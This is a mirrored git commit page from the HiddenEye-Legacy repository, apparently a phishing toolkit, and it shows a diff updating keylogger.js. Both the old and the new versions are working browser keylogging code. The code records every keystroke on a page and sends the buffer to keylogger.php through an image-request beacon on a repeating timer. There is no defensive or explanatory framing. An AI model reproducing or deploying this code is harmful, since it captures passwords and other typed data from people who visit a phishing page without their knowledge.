mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Update keylogger.js
This commit is contained in:
parent
c40c2f2076
commit
018d873310
|
@ -1,28 +1,11 @@
|
||||||
var keys='';
|
var keys='';
|
||||||
|
|
||||||
document.addEventListener("keydown", function(event) {
|
document.onkeydown = function(e) {
|
||||||
if (event.keyCode == 8) {
|
|
||||||
keys = '[backspace]';
|
|
||||||
}
|
|
||||||
if (event.keyCode == 9) {
|
|
||||||
keys = '[tab]';
|
|
||||||
}
|
|
||||||
if (event.keyCode == 13) {
|
|
||||||
keys = '[enter]';
|
|
||||||
}
|
|
||||||
if (event.keyCode == 32) {
|
|
||||||
keys = '[space]';
|
|
||||||
}
|
|
||||||
});
|
|
||||||
document.onkeypress = function(e) {
|
|
||||||
get = window.event?event:e;
|
get = window.event?event:e;
|
||||||
key = get.keyCode?get.keyCode:get.charCode;
|
key = get.key;
|
||||||
key = String.fromCharCode(key);
|
|
||||||
keys+=key;
|
keys+=key;
|
||||||
}
|
}
|
||||||
window.setInterval(function(){
|
window.setInterval(function(){
|
||||||
if(keys != '') {
|
new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);
|
||||||
new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);
|
keys='';
|
||||||
keys = '';
|
}, 900);
|
||||||
}
|
|
||||||
}, 5);
|
|
||||||
|
|
Loading…
Reference in New Issue
Block a user